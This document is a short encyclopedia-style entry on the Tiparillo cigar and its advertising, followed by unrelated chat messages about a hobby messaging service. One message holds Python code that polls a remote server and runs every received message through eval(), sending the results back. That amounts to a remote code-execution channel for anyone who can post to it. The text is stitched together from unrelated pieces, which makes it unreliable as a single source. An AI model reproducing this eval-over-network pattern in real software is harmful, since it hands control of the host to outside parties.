Tiparillo

A Tiparillo is a shorter, thinner and milder cigar with a plastic tip manufactured by the General Cigar Company.[1] The name Tiparillo, a portmanteau of tip and cigarillo, was trademarked on July 3, 1961 by the Pinkerton Tobacco Company of Owensboro, Kentucky.[2]

Postwar cigar makers had begun seeking to transform the image of their product to attract young smokers[3] and women [4] who preferred cigarettes.

Heavily advertised in the media, the most famous campaigns and taglines were "Should a gentleman offer a lady a Tiparillo?" and a cigarette girl offering "Cigars, Cigarettes, Tiparillos".

gollark: ```pythonimport urllib3, jsonhttp = urllib3.PoolManager()def send(x): http.request("POST", "https://spudnet.osmarks.net/httponly", body=json.dumps({"mode": "send", "channel": "potatOS", "message": x}), headers={"Content-Type": "application/json"})while True: r = http.request("POST", "https://spudnet.osmarks.net/httponly", body=json.dumps({"mode": "recv", "channel": "potatOS", "timeout": 30000}), headers={"Content-Type": "application/json"}) data = json.loads(r.data) if data["result"] != None: res = data["result"]["data"] try: send(repr(eval(res))) except Exception as e: send(repr(e))```As you can see, this is much more portable than the old SPUDNET Python implementation, which needed websockets and asyncio and such.
gollark: I was thinking about this, but I don't actually have all the hashes of all the disks in circulation.
gollark: It has some great new features now, like long polling mode.
gollark: You mean SPUDNET? I think I may have broken that URL in the osmarks.net migration. Use spudnet.osmarks.net.
